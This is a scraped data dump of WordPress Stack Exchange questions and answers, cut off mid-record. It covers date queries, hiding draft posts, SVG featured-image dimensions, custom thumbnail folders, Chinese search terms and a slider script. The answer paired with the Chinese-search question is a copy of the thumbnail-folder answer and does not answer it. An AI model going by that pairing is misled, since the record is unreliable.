"text": "<p>You can have a look at the blog database itself to see the exact format Wordpress stores dates in. It doesn't... | 2017/02/05 | [
"https://wordpress.stackexchange.com/questions/255276",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/9349/"
] | I am trying to perform a WP\_Query, passing the values for `before` and `after` in the `date_query` as unix timestamps.
This does not seem to work:
```
$args = array(
'date_query' => array(
'before' => 1486045020
)
);
```
I know I could use php's `date()` function to format it to a year, month and day, but I would rather use a unix timestamp to avoid time difference issues. | I found the solution - I used PHP's `date()` function to format it into a ISO 8601 compliant format, so there is no confusion around timezones, etc.
```
$args = array(
'date_query' => array(
'before' => date( 'c' , 1486045020 )
)
);
``` |
255,311 | <p>The all view shows all posts including drafts in <code>wp-admin/edit.php</code>.
How can I exclude the posts with the draft status in the all view?</p>
| [
{
"answer_id": 255315,
"author": "Dave Romsey",
"author_id": 2807,
"author_profile": "https://wordpress.stackexchange.com/users/2807",
"pm_score": 2,
"selected": false,
"text": "<p>The code below will remove draft posts from the admin area under the <em>All</em> listing for the <code>pos... | 2017/02/05 | [
"https://wordpress.stackexchange.com/questions/255311",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/80611/"
] | The all view shows all posts including drafts in `wp-admin/edit.php`.
How can I exclude the posts with the draft status in the all view? | The `show_in_admin_all_list` parameter in the [`register_post_status()`](https://developer.wordpress.org/reference/functions/register_post_status/) function, determines if a given post status is included in the *All* post table view.
Probably the shortest version is:
```
add_action( 'init', function() use ( &$wp_post_statuses )
{
$wp_post_statuses['draft']->show_in_admin_all_list = false;
}, 1 );
```
but let's avoid modifying the globals directly like this and override the default `draft` status with:
```
add_action( 'init', function()
{
register_post_status( 'draft',
[
'label' => _x( 'Draft', 'post status' ),
'protected' => true,
'_builtin' => true,
'label_count' => _n_noop( 'Draft <span class="count">(%s)</span>', 'Drafts <span class="count">(%s)</span>' ),
'show_in_admin_all_list' => false, // <-- we override this setting
]
);
}, 1 );
```
where we use the priority 1, since the default draft status is registered at priority 0.
To avoid repeating the default settings and support possible settings changes in the future, we could use the `get_post_status_object()` instead:
```
add_action( 'init', function()
{
$a = get_object_vars( get_post_status_object( 'draft' ) );
$a['show_in_admin_all_list'] = false; // <-- we override this setting
register_post_status( 'draft', $a );
}, 1 );
``` |
255,314 | <p>Up to now, I have had no problems with the background-image thumbnails in my theme. However, now that I'm trying to use an SVG as the featured image, something is breaking. The problem seems to related to the width of the SVGs being returned as zero by <code>wp_get_attachment_image_src()</code>. So what I am I trying to do is figure out how to extract the width and height information from the SVG then set them to the appropriate values in the SVGs database fields, isn't proving easy.</p>
<p><em>Note: there is not a general problem uploading or rendering svgs, they display fine in my logo.</em></p>
<h3>The error and code: evidence of zero-width</h3>
<p>This is the error that Wordpress throws on the page:
<code>Warning: Division by zero in /wp-content/themes/tesseract/functions.php on line 771</code></p>
<p>This is the code in functions.php before the error (on line 771). </p>
<pre><code> /*759*/ function tesseract_output_featimg_blog() {
/*760*/
/*761*/ global $post;
/*762*/
/*763*/ $thumbnail = wp_get_attachment_image_src( get_post_thumbnail_id( $post->ID ), 'full' );
/*764*/ $featImg_display = get_theme_mod('tesseract_blog_display_featimg');
/*765*/ $featImg_pos = get_theme_mod('tesseract_blog_featimg_pos');
/*766*/
/*767*/ $w = $thumbnail[1]; /* supposed to return thumbnail width */
/*768*/ $h = $thumbnail[2]; /* supposed to return thumbnail height */
/*769*/ $bw = 720;
/*770*/ $wr = $w/$bw;
/*771*/ $hr = $h/$wr; /**** this is the line that throws the error ****/
</code></pre>
<p>You can see there is a division with <code>$wr</code> as the denominator. Its seems that <code>$wr</code> is being computed as zero because its only non-constant factor, <code>$w</code>, is also zero (the other factor is 720, so it can't be to blame). <code>$w</code>'s value is determined by <code>$thumbnail[1]</code>. <code>$thumbnail[1]</code>'s value is is set on line 763 with this code:</p>
<p><code>$thumbnail = wp_get_attachment_image_src( get_post_thumbnail_id( $post->ID ), 'full' );</code></p>
<p>And according to the <a href="https://developer.wordpress.org/reference/functions/wp_get_attachment_image_src/" rel="nofollow noreferrer">the Codex</a>, the second value in the returning array of the function <code>wp_get_attachment_image_src</code>(i.e. <code>$thumbnail[1]</code>) is indeed the width of the thumbnail. That value does appear to be zero, because it is the same value as <code>$w</code>, which is indeed denominator on line 771. :(</p>
<h3>Important Note: My theme implements thumbnails as background-images</h3>
<p>The parent theme I am using, "Tesseract", places featured images as background images of anchors/ <code><a></code> elements, instead of placing them as <code><img></code> elements. <strong>I do not believe this is the cause of the problem, but when offering solutions, they should be compatible with background-images, not <code><img></code> objects.</strong></p>
<h3>Couldn't adapt fix #1:</h3>
<p>I did find <a href="http://www.kriesi.at/support/topic/how-to-use-svg-images-as-a-featured-image/" rel="nofollow noreferrer">this webpage</a> which provides a fix for problems using SVGs as featured images. It suggests that the issue is related to the computation of the width. However, I can't apply that fix because it is for an <code>img</code> element that has an SVG as a <code>src</code>, i have an <code><a></code> element that has the SVG location set to the the <code>background-image</code>-<code>url</code>.</p>
<p>This is the fix </p>
<pre><code>function custom_admin_head() {
$css = '';
$css = 'td.media-icon img[src$=".svg"] { width: 100% !important; height: auto !important; }';
echo '<style type="text/css">'.$css.'</style>';
}
add_action('admin_head', 'custom_admin_head');
</code></pre>
<h3>Fix #2 (min-width via CSS) didn't work</h3>
<p>Based on the idea I got from the above page, that the width of the might be the issue, I tried setting a min-width of 50% using just CSS to the <code><a></code>. Here is the code:</p>
<pre><code>a.entry-post-thumbnail.above {
min-width: 50% !important;
}
</code></pre>
<p>My developer tools showed that the CSS "took", that the min-width did get set to 50%. Still WP threw the same error the image did not display. Maybe the CSS doesn't set it before functions.php runs wp_get_attachment_image_src, so it doesn't matter? </p>
<p>Anyone have any clues about how to work around this zero computation? I'd really like to get this working with the background-images, and without having to overwrite too much of the parent theme.</p>
<h3>Fix #3 (hooking a filter) didn't work.</h3>
<p>With the help of @Milo, @NathanJohnson, and @prosti I was able to try a filter to alter <code>wp_get_attachment_image_src()</code>. The code doesn't produce an error but it doesn't remove the division error or get the SVG to display. This the snippet I placed into functions.php. Perhaps the priorities are wrong? :</p>
<pre><code>add_filter( 'wp_get_attachment_image_src', 'fix_wp_get_attachment_image_svg', 10, 4 ); /* the hook */
function fix_wp_get_attachment_image_svg($image, $attachment_id, $size, $icon) {
if (is_array($image) && preg_match('/\.svg$/i', $image[0]) && $image[1] == 1) {
if(is_array($size)) {
$image[1] = $size[0];
$image[2] = $size[1];
} elseif(($xml = simplexml_load_file($image[0])) !== false) {
$attr = $xml->attributes();
$viewbox = explode(' ', $attr->viewBox);
$image[1] = isset($attr->width) && preg_match('/\d+/', $attr->width, $value) ? (int) $value[0] : (count($viewbox) == 4 ? (int) $viewbox[2] : null);
$image[2] = isset($attr->height) && preg_match('/\d+/', $attr->height, $value) ? (int) $value[0] : (count($viewbox) == 4 ? (int) $viewbox[3] : null);
} else {
$image[1] = $image[2] = null;
}
}
return $image;
}
</code></pre>
<h3>The bottom line:</h3>
<p>I believe I need to figure out how to extract the width information from the SVG file itself and add it to the WP database before functions.php runs the computation on line 771. If you know how, your guidance would be really appreciated.</p>
<p><strong>Some potentially helpful Resources</strong> </p>
<ul>
<li><a href="https://wordpress.stackexchange.com/questions/157480/ways-to-handle-svg-rendering-in-wordpress?rq=1">This question</a> seems to have helpful information, and the snippet
provided by @Josh there allowed me to finally view my SVGs in the
media library, but the featured image is still broken. </li>
<li><a href="https://stackoverflow.com/questions/6532261/php-how-to-get-width-and-height-of-a-svg-picture">This question</a> seems to have some XML-based solutions but I don't know
how to adapt it to WP.</li>
<li>Also one commenter below pointed me to <a href="http://gist.github.com/vadyua/f23ca0d86962c458ce60#file-lc-svg-upload-php-L56" rel="nofollow noreferrer">This filter</a> which seems to be relevant.</li>
</ul>
<h3>The SVG file's header</h3>
<p>This is the SVG header: </p>
<pre><code><?xml version="1.0" encoding="utf-8"?> <!-- Generator: Adobe Illustrator 15.1.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) --> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="475.419px" height="406.005px" viewBox="0 0 475.419 406.005" enable-background="new 0 0 475.419 406.005" xml:space="preserve">
</code></pre>
| [
{
"answer_id": 255534,
"author": "prosti",
"author_id": 88606,
"author_profile": "https://wordpress.stackexchange.com/users/88606",
"pm_score": 2,
"selected": false,
"text": "<p>It is hard to guess exactly what may be the problem for the WordPress enthusiast like me but since you pinged ... | 2017/02/05 | [
"https://wordpress.stackexchange.com/questions/255314",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/105196/"
] | Up to now, I have had no problems with the background-image thumbnails in my theme. However, now that I'm trying to use an SVG as the featured image, something is breaking. The problem seems to related to the width of the SVGs being returned as zero by `wp_get_attachment_image_src()`. So what I am I trying to do is figure out how to extract the width and height information from the SVG then set them to the appropriate values in the SVGs database fields, isn't proving easy.
*Note: there is not a general problem uploading or rendering svgs, they display fine in my logo.*
### The error and code: evidence of zero-width
This is the error that Wordpress throws on the page:
`Warning: Division by zero in /wp-content/themes/tesseract/functions.php on line 771`
This is the code in functions.php before the error (on line 771).
```
/*759*/ function tesseract_output_featimg_blog() {
/*760*/
/*761*/ global $post;
/*762*/
/*763*/ $thumbnail = wp_get_attachment_image_src( get_post_thumbnail_id( $post->ID ), 'full' );
/*764*/ $featImg_display = get_theme_mod('tesseract_blog_display_featimg');
/*765*/ $featImg_pos = get_theme_mod('tesseract_blog_featimg_pos');
/*766*/
/*767*/ $w = $thumbnail[1]; /* supposed to return thumbnail width */
/*768*/ $h = $thumbnail[2]; /* supposed to return thumbnail height */
/*769*/ $bw = 720;
/*770*/ $wr = $w/$bw;
/*771*/ $hr = $h/$wr; /**** this is the line that throws the error ****/
```
You can see there is a division with `$wr` as the denominator. Its seems that `$wr` is being computed as zero because its only non-constant factor, `$w`, is also zero (the other factor is 720, so it can't be to blame). `$w`'s value is determined by `$thumbnail[1]`. `$thumbnail[1]`'s value is is set on line 763 with this code:
`$thumbnail = wp_get_attachment_image_src( get_post_thumbnail_id( $post->ID ), 'full' );`
And according to the [the Codex](https://developer.wordpress.org/reference/functions/wp_get_attachment_image_src/), the second value in the returning array of the function `wp_get_attachment_image_src`(i.e. `$thumbnail[1]`) is indeed the width of the thumbnail. That value does appear to be zero, because it is the same value as `$w`, which is indeed denominator on line 771. :(
### Important Note: My theme implements thumbnails as background-images
The parent theme I am using, "Tesseract", places featured images as background images of anchors/ `<a>` elements, instead of placing them as `<img>` elements. **I do not believe this is the cause of the problem, but when offering solutions, they should be compatible with background-images, not `<img>` objects.**
### Couldn't adapt fix #1:
I did find [this webpage](http://www.kriesi.at/support/topic/how-to-use-svg-images-as-a-featured-image/) which provides a fix for problems using SVGs as featured images. It suggests that the issue is related to the computation of the width. However, I can't apply that fix because it is for an `img` element that has an SVG as a `src`, i have an `<a>` element that has the SVG location set to the the `background-image`-`url`.
This is the fix
```
function custom_admin_head() {
$css = '';
$css = 'td.media-icon img[src$=".svg"] { width: 100% !important; height: auto !important; }';
echo '<style type="text/css">'.$css.'</style>';
}
add_action('admin_head', 'custom_admin_head');
```
### Fix #2 (min-width via CSS) didn't work
Based on the idea I got from the above page, that the width of the might be the issue, I tried setting a min-width of 50% using just CSS to the `<a>`. Here is the code:
```
a.entry-post-thumbnail.above {
min-width: 50% !important;
}
```
My developer tools showed that the CSS "took", that the min-width did get set to 50%. Still WP threw the same error the image did not display. Maybe the CSS doesn't set it before functions.php runs wp\_get\_attachment\_image\_src, so it doesn't matter?
Anyone have any clues about how to work around this zero computation? I'd really like to get this working with the background-images, and without having to overwrite too much of the parent theme.
### Fix #3 (hooking a filter) didn't work.
With the help of @Milo, @NathanJohnson, and @prosti I was able to try a filter to alter `wp_get_attachment_image_src()`. The code doesn't produce an error but it doesn't remove the division error or get the SVG to display. This the snippet I placed into functions.php. Perhaps the priorities are wrong? :
```
add_filter( 'wp_get_attachment_image_src', 'fix_wp_get_attachment_image_svg', 10, 4 ); /* the hook */
function fix_wp_get_attachment_image_svg($image, $attachment_id, $size, $icon) {
if (is_array($image) && preg_match('/\.svg$/i', $image[0]) && $image[1] == 1) {
if(is_array($size)) {
$image[1] = $size[0];
$image[2] = $size[1];
} elseif(($xml = simplexml_load_file($image[0])) !== false) {
$attr = $xml->attributes();
$viewbox = explode(' ', $attr->viewBox);
$image[1] = isset($attr->width) && preg_match('/\d+/', $attr->width, $value) ? (int) $value[0] : (count($viewbox) == 4 ? (int) $viewbox[2] : null);
$image[2] = isset($attr->height) && preg_match('/\d+/', $attr->height, $value) ? (int) $value[0] : (count($viewbox) == 4 ? (int) $viewbox[3] : null);
} else {
$image[1] = $image[2] = null;
}
}
return $image;
}
```
### The bottom line:
I believe I need to figure out how to extract the width information from the SVG file itself and add it to the WP database before functions.php runs the computation on line 771. If you know how, your guidance would be really appreciated.
**Some potentially helpful Resources**
* [This question](https://wordpress.stackexchange.com/questions/157480/ways-to-handle-svg-rendering-in-wordpress?rq=1) seems to have helpful information, and the snippet
provided by @Josh there allowed me to finally view my SVGs in the
media library, but the featured image is still broken.
* [This question](https://stackoverflow.com/questions/6532261/php-how-to-get-width-and-height-of-a-svg-picture) seems to have some XML-based solutions but I don't know
how to adapt it to WP.
* Also one commenter below pointed me to [This filter](http://gist.github.com/vadyua/f23ca0d86962c458ce60#file-lc-svg-upload-php-L56) which seems to be relevant.
### The SVG file's header
This is the SVG header:
```
<?xml version="1.0" encoding="utf-8"?> <!-- Generator: Adobe Illustrator 15.1.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) --> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="475.419px" height="406.005px" viewBox="0 0 475.419 406.005" enable-background="new 0 0 475.419 406.005" xml:space="preserve">
``` | I solved it!!! The filter in fix #3 (above) wasn't working because of the third condition of this `if` statement that triggers the dimension extraction and attachment:
`if (is_array($image) && preg_match('/\.svg$/i', $image[0]) && $image[1] == 1)`
`$image[1]` in the third condition is the reported width of the SVG file as WP sees it before it enters the filter. Since I know that its value, the width, is 0 (from the "zero-division error" described above) I suspected that this value needed to be changed to match it. I changed the final `1` on that `if` condition to a `0` and..voila! The division error went away and the image is displaying, and beautifully so I might ad!
I was able to spot this because in many forums people complain that SVGs are incorrectly getting assigned widths of 1px. This was probably the case in some versions of WP, but in my WP 4.7.2 media library, no dimension for the SVG, not even `1px` is posted, as a dimension. Instead there was simply no metadata regarding dimensions in my case.
I think a flexible version of the filter would allow it to be applied if the width is 1 or 0, for people who had the 1px problem and for people like me, who had a width of 0. Below I included the fix, using `$image[1] <= 1`as the third condition of the `if` statement instead of `$image[1] == 1` but I suppose you could use this, too: `( ($image[1] == 0) || ($image[1] == 1) )`
### The working filter
```
add_filter( 'wp_get_attachment_image_src', 'fix_wp_get_attachment_image_svg', 10, 4 ); /* the hook */
function fix_wp_get_attachment_image_svg($image, $attachment_id, $size, $icon) {
if (is_array($image) && preg_match('/\.svg$/i', $image[0]) && $image[1] <= 1) {
if(is_array($size)) {
$image[1] = $size[0];
$image[2] = $size[1];
} elseif(($xml = simplexml_load_file($image[0])) !== false) {
$attr = $xml->attributes();
$viewbox = explode(' ', $attr->viewBox);
$image[1] = isset($attr->width) && preg_match('/\d+/', $attr->width, $value) ? (int) $value[0] : (count($viewbox) == 4 ? (int) $viewbox[2] : null);
$image[2] = isset($attr->height) && preg_match('/\d+/', $attr->height, $value) ? (int) $value[0] : (count($viewbox) == 4 ? (int) $viewbox[3] : null);
} else {
$image[1] = $image[2] = null;
}
}
return $image;
}
```
Thank you everyone for your help it was really a team effort! |
255,317 | <p>I've followed the accepted answer in <a href="https://wordpress.stackexchange.com/q/125784/94498">this</a> question to generate my thumbnails in a custom way. </p>
<p>I extended the image editor class as:</p>
<pre><code>class WP_Image_Editor_Custom extends WP_Image_Editor_GD {
public function generate_filename($prefix = NULL, $dest_path = NULL, $extension = NULL) {
// If empty, generate a prefix with the parent method get_suffix().
if(!$prefix)
$prefix = $this->get_suffix();
// Determine extension and directory based on file path.
$info = pathinfo($this->file);
$dir = $info['dirname'];
$ext = $info['extension'];
// Determine image name.
$name = wp_basename($this->file, ".$ext");
// Allow extension to be changed via method argument.
$new_ext = strtolower($extension ? $extension : $ext);
// Default to $_dest_path if method argument is not set or invalid.
if(!is_null($dest_path) && $_dest_path = realpath($dest_path))
$dir = $_dest_path;
// Return our new prefixed filename.
return trailingslashit($dir)."{$prefix}/{$name}.{$new_ext}";
}
function multi_resize($sizes) {
$sizes = parent::multi_resize($sizes);
//This will generate proper metadata for thumbnails
foreach($sizes as $slug => $data)
$sizes[$slug]['file'] = $slug."/".$data['file'];
return $sizes;
}
}
</code></pre>
<p>Now, original uploads will be stored in <code>uploads</code> and the thumbnails will be stored in <code>uploads/thumbnail/</code>, <code>/uploads/medium/</code> and <code>uploads/large/</code>.</p>
<p>What i want is one of these 2 scenarios:</p>
<p><strong>1-</strong> to store original uploads in a subfolder such as <code>uploads/original</code> and the thumbnails in <code>uploads/thumbnail/</code>, <code>/uploads/medium/</code> and <code>uploads/large/</code>.</p>
<p><strong>2-</strong> to store the original images in <code>uploads/</code> and the thumbnails in a folder named <code>thumbs/</code>, OUTSIDE the upload directory, in the root.</p>
<p>I was able to achieve number 2, However, when i call a function such as <code>wp_get_attachment_image_src()</code> it will append my custom thumbnail link (stored in post metadata) to the upload directory, producing a link like:</p>
<p><code>http://example.com/uploads/thumbs/medium/image.jpg</code></p>
<p>The correct format must be like:</p>
<p><code>http://example.com/thumbs/medium/image.jpg</code></p>
<p>Is it possible to overwrite the metadata while being called to point to the proper file??</p>
| [
{
"answer_id": 255946,
"author": "user6552940",
"author_id": 110206,
"author_profile": "https://wordpress.stackexchange.com/users/110206",
"pm_score": 1,
"selected": false,
"text": "<blockquote>\n <p>2- to store the original images in uploads/ and the thumbnails in a folder named thumbs... | 2017/02/06 | [
"https://wordpress.stackexchange.com/questions/255317",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/94498/"
] | I've followed the accepted answer in [this](https://wordpress.stackexchange.com/q/125784/94498) question to generate my thumbnails in a custom way.
I extended the image editor class as:
```
class WP_Image_Editor_Custom extends WP_Image_Editor_GD {
public function generate_filename($prefix = NULL, $dest_path = NULL, $extension = NULL) {
// If empty, generate a prefix with the parent method get_suffix().
if(!$prefix)
$prefix = $this->get_suffix();
// Determine extension and directory based on file path.
$info = pathinfo($this->file);
$dir = $info['dirname'];
$ext = $info['extension'];
// Determine image name.
$name = wp_basename($this->file, ".$ext");
// Allow extension to be changed via method argument.
$new_ext = strtolower($extension ? $extension : $ext);
// Default to $_dest_path if method argument is not set or invalid.
if(!is_null($dest_path) && $_dest_path = realpath($dest_path))
$dir = $_dest_path;
// Return our new prefixed filename.
return trailingslashit($dir)."{$prefix}/{$name}.{$new_ext}";
}
function multi_resize($sizes) {
$sizes = parent::multi_resize($sizes);
//This will generate proper metadata for thumbnails
foreach($sizes as $slug => $data)
$sizes[$slug]['file'] = $slug."/".$data['file'];
return $sizes;
}
}
```
Now, original uploads will be stored in `uploads` and the thumbnails will be stored in `uploads/thumbnail/`, `/uploads/medium/` and `uploads/large/`.
What i want is one of these 2 scenarios:
**1-** to store original uploads in a subfolder such as `uploads/original` and the thumbnails in `uploads/thumbnail/`, `/uploads/medium/` and `uploads/large/`.
**2-** to store the original images in `uploads/` and the thumbnails in a folder named `thumbs/`, OUTSIDE the upload directory, in the root.
I was able to achieve number 2, However, when i call a function such as `wp_get_attachment_image_src()` it will append my custom thumbnail link (stored in post metadata) to the upload directory, producing a link like:
`http://example.com/uploads/thumbs/medium/image.jpg`
The correct format must be like:
`http://example.com/thumbs/medium/image.jpg`
Is it possible to overwrite the metadata while being called to point to the proper file?? | It appears that the thumbnail URLs are generated relatively to the upload folder. So trying to store them outside the uploads folder is not going to be a good idea.
There are hacks to filter the output for functions such as `the_post_thumbnail_url()`, but considering side issues such as the thumbnails not being able to be deleted, it's not worth a try.
What i was able to achieve, is to store the generated thumbnails in a different subdirectory, inside the uploads folder, and then protect the original uploads folder by setting the proper rules in the `.htaccess` file, in case you want to protect them from the visitor, making them forbidden to be accessed directly.
I was able to make a copy of the original generator class in `wp-image-editor-gd.php` to store the thumbnails in subdirectory. Here is how to do so:
First, we set our own class as the primary image generator:
```
add_filter('wp_image_editors', 'custom_wp_image_editors');
function custom_wp_image_editors($editors) {
array_unshift($editors, "custom_WP_Image_Editor");
return $editors;
}
```
We then include the necessary classes to be extended:
```
require_once ABSPATH . WPINC . "/class-wp-image-editor.php";
require_once ABSPATH . WPINC . "/class-wp-image-editor-gd.php";
```
And finally setting the path:
```
class custom_WP_Image_Editor extends WP_Image_Editor_GD {
public function generate_filename($suffix = null, $dest_path = null, $extension = null) {
// $suffix will be appended to the destination filename, just before the extension
if (!$suffix) {
$suffix = $this->get_suffix();
}
$dir = pathinfo($this->file, PATHINFO_DIRNAME);
$ext = pathinfo($this->file, PATHINFO_EXTENSION);
$name = wp_basename($this->file, ".$ext");
$new_ext = strtolower($extension ? $extension : $ext );
if (!is_null($dest_path) && $_dest_path = realpath($dest_path)) {
$dir = $_dest_path;
}
//we get the dimensions using explode
$size_from_suffix = explode("x", $suffix);
return trailingslashit( $dir ) . "{$size_from_suffix[0]}/{$name}.{$new_ext}";
}
}
```
Now the thumbnails will be stored in different sub-folders, based on their width. For example:
```
/wp-content/uploads/150/example.jpg
/wp-content/uploads/600/example.jpg
/wp-content/uploads/1024/example.jpg
```
And so on.
Possible issue
--------------
Now there might be an issue when we upload images smaller than the smallest thumbnail size. For example if we upload an image, sized `100x100`pixels while the smallest thumbnail size is `150x150`, another folder will be created in the uploads directory. This might result in a lot of subdirectories in the uploads directory. I have solved this issue with another approach, in [this](https://wordpress.stackexchange.com/q/266968/94498) question. |
255,333 | <p>I am facing one issue while i'm creating my website. I have a search bar on my website. I tried to type and search in chinese, but the search terms on page that i entered become question mark and symbol. The url also same. I'm wondering how can make it work. Only the search terms become this. Any solution?</p>
<p><strong>Updated:</strong>
This is the search form that i have(this is a searchbox apply to my multisite).</p>
<pre><code><div class="search">
<form name="searchform" onsubmit="return !!(validateSearch() && dosearch());" method="get" id="searchform">
<input type="text" name="searchterms" class="terms" id="terms" placeholder="<?php if (is_search()) { ?><?php the_search_query(); ?><?php } elseif (is_home() || is_single() || is_page() || is_archive() || is_404()) { ?>What are you searching for?<?php } ?>">
<select name="sengines" class="state" id="state">
<option value="" selected>Select a State</option>
<?php $bcount = get_blog_count();
global $wpdb;
$blogs = $wpdb->get_results($wpdb->prepare("SELECT * FROM $wpdb->blogs WHERE spam = '0' AND deleted = '0' and archived = '0' and public='1'"));
if(!empty($blogs)){
?><?php
foreach($blogs as $blog){
$details = get_blog_details($blog->blog_id);
if($details != false){
$addr = $details->siteurl;
$name = $details->blogname;
if(!(($blog->blog_id == 1)&&($show_main != 1))){
?>
<option value="<?php echo $addr; ?>?s="><?php echo $name;?></option>
<?php
}
}
}
?><?php } ?>
</select>
<input name="Search" type="submit" value="Search" class="button3">
</form>
</div><!--search-->
</code></pre>
<p><strong>Javascript for the search form</strong></p>
<pre><code>function dosearch() {
var sf=document.searchform;
var submitto = sf.sengines.options[sf.sengines.selectedIndex].value + escape(sf.searchterms.value);
window.location.href = submitto;
return false;
}
function validateSearch(){
// set some vars
var terms = document.getElementById('terms');
var state = document.getElementById('state');
var msg = '';
if(terms.value == ''){
msg+= 'We were unable to search without a keyword! \n';
}
else if(terms.value.length < 3){
msg+= 'Keyword is too short! \n';
}
else if(terms.value.length > 25){
msg+= 'Keyword is too long! \n';
}
else if(state.value == ''){
msg+= 'Select state to proceed! \n';
}
// SUbmit form part
if(msg == ''){
return true;
}else{
alert(msg);
return false;
}
}
</code></pre>
<p><a href="https://i.stack.imgur.com/ObR4E.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/ObR4E.jpg" alt="This is the search result page(not completed yet!)"></a></p>
| [
{
"answer_id": 255946,
"author": "user6552940",
"author_id": 110206,
"author_profile": "https://wordpress.stackexchange.com/users/110206",
"pm_score": 1,
"selected": false,
"text": "<blockquote>\n <p>2- to store the original images in uploads/ and the thumbnails in a folder named thumbs... | 2017/02/06 | [
"https://wordpress.stackexchange.com/questions/255333",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/23036/"
] | I am facing one issue while i'm creating my website. I have a search bar on my website. I tried to type and search in chinese, but the search terms on page that i entered become question mark and symbol. The url also same. I'm wondering how can make it work. Only the search terms become this. Any solution?
**Updated:**
This is the search form that i have(this is a searchbox apply to my multisite).
```
<div class="search">
<form name="searchform" onsubmit="return !!(validateSearch() && dosearch());" method="get" id="searchform">
<input type="text" name="searchterms" class="terms" id="terms" placeholder="<?php if (is_search()) { ?><?php the_search_query(); ?><?php } elseif (is_home() || is_single() || is_page() || is_archive() || is_404()) { ?>What are you searching for?<?php } ?>">
<select name="sengines" class="state" id="state">
<option value="" selected>Select a State</option>
<?php $bcount = get_blog_count();
global $wpdb;
$blogs = $wpdb->get_results($wpdb->prepare("SELECT * FROM $wpdb->blogs WHERE spam = '0' AND deleted = '0' and archived = '0' and public='1'"));
if(!empty($blogs)){
?><?php
foreach($blogs as $blog){
$details = get_blog_details($blog->blog_id);
if($details != false){
$addr = $details->siteurl;
$name = $details->blogname;
if(!(($blog->blog_id == 1)&&($show_main != 1))){
?>
<option value="<?php echo $addr; ?>?s="><?php echo $name;?></option>
<?php
}
}
}
?><?php } ?>
</select>
<input name="Search" type="submit" value="Search" class="button3">
</form>
</div><!--search-->
```
**Javascript for the search form**
```
function dosearch() {
var sf=document.searchform;
var submitto = sf.sengines.options[sf.sengines.selectedIndex].value + escape(sf.searchterms.value);
window.location.href = submitto;
return false;
}
function validateSearch(){
// set some vars
var terms = document.getElementById('terms');
var state = document.getElementById('state');
var msg = '';
if(terms.value == ''){
msg+= 'We were unable to search without a keyword! \n';
}
else if(terms.value.length < 3){
msg+= 'Keyword is too short! \n';
}
else if(terms.value.length > 25){
msg+= 'Keyword is too long! \n';
}
else if(state.value == ''){
msg+= 'Select state to proceed! \n';
}
// SUbmit form part
if(msg == ''){
return true;
}else{
alert(msg);
return false;
}
}
```
[](https://i.stack.imgur.com/ObR4E.jpg) | It appears that the thumbnail URLs are generated relatively to the upload folder. So trying to store them outside the uploads folder is not going to be a good idea.
There are hacks to filter the output for functions such as `the_post_thumbnail_url()`, but considering side issues such as the thumbnails not being able to be deleted, it's not worth a try.
What i was able to achieve, is to store the generated thumbnails in a different subdirectory, inside the uploads folder, and then protect the original uploads folder by setting the proper rules in the `.htaccess` file, in case you want to protect them from the visitor, making them forbidden to be accessed directly.
I was able to make a copy of the original generator class in `wp-image-editor-gd.php` to store the thumbnails in subdirectory. Here is how to do so:
First, we set our own class as the primary image generator:
```
add_filter('wp_image_editors', 'custom_wp_image_editors');
function custom_wp_image_editors($editors) {
array_unshift($editors, "custom_WP_Image_Editor");
return $editors;
}
```
We then include the necessary classes to be extended:
```
require_once ABSPATH . WPINC . "/class-wp-image-editor.php";
require_once ABSPATH . WPINC . "/class-wp-image-editor-gd.php";
```
And finally setting the path:
```
class custom_WP_Image_Editor extends WP_Image_Editor_GD {
public function generate_filename($suffix = null, $dest_path = null, $extension = null) {
// $suffix will be appended to the destination filename, just before the extension
if (!$suffix) {
$suffix = $this->get_suffix();
}
$dir = pathinfo($this->file, PATHINFO_DIRNAME);
$ext = pathinfo($this->file, PATHINFO_EXTENSION);
$name = wp_basename($this->file, ".$ext");
$new_ext = strtolower($extension ? $extension : $ext );
if (!is_null($dest_path) && $_dest_path = realpath($dest_path)) {
$dir = $_dest_path;
}
//we get the dimensions using explode
$size_from_suffix = explode("x", $suffix);
return trailingslashit( $dir ) . "{$size_from_suffix[0]}/{$name}.{$new_ext}";
}
}
```
Now the thumbnails will be stored in different sub-folders, based on their width. For example:
```
/wp-content/uploads/150/example.jpg
/wp-content/uploads/600/example.jpg
/wp-content/uploads/1024/example.jpg
```
And so on.
Possible issue
--------------
Now there might be an issue when we upload images smaller than the smallest thumbnail size. For example if we upload an image, sized `100x100`pixels while the smallest thumbnail size is `150x150`, another folder will be created in the uploads directory. This might result in a lot of subdirectories in the uploads directory. I have solved this issue with another approach, in [this](https://wordpress.stackexchange.com/q/266968/94498) question. |
255,335 | <p>I am trying to add a photo slider from Slick and I can't seem to get it to work. </p>
<p>HTML</p>
<pre><code><div class="victoria-slider">
<div>Content1</div>
<div>Content2</div>
<div>Content3</div>
</div>
</code></pre>
<p>functions.php</p>
<pre><code>function victoria_theme_script_enqueue() {
wp_enqueue_style('customstyle', get_template_directory_uri() . '/css/victoria_theme.css', array(), '4.7.2', 'all');
wp_enqueue_style('bootstrap', get_template_directory_uri() . '/css/bootstrap.min.css', array(), '3.3.7', 'all');
wp_enqueue_style('slick', 'http://cdn.jsdelivr.net/jquery.slick/1.6.0/slick.css');
wp_enqueue_style('slick-theme','http://cdn.jsdelivr.net/jquery.slick/1.6.0/slick-theme.css');
wp_enqueue_script('jquery', get_template_directory_uri() .'/js/jquery.min.js', array(), '3.1.0', true);
wp_enqueue_script('customjs', get_template_directory_uri() . '/js/victoria_theme.js', array(), '4.7.2', true);
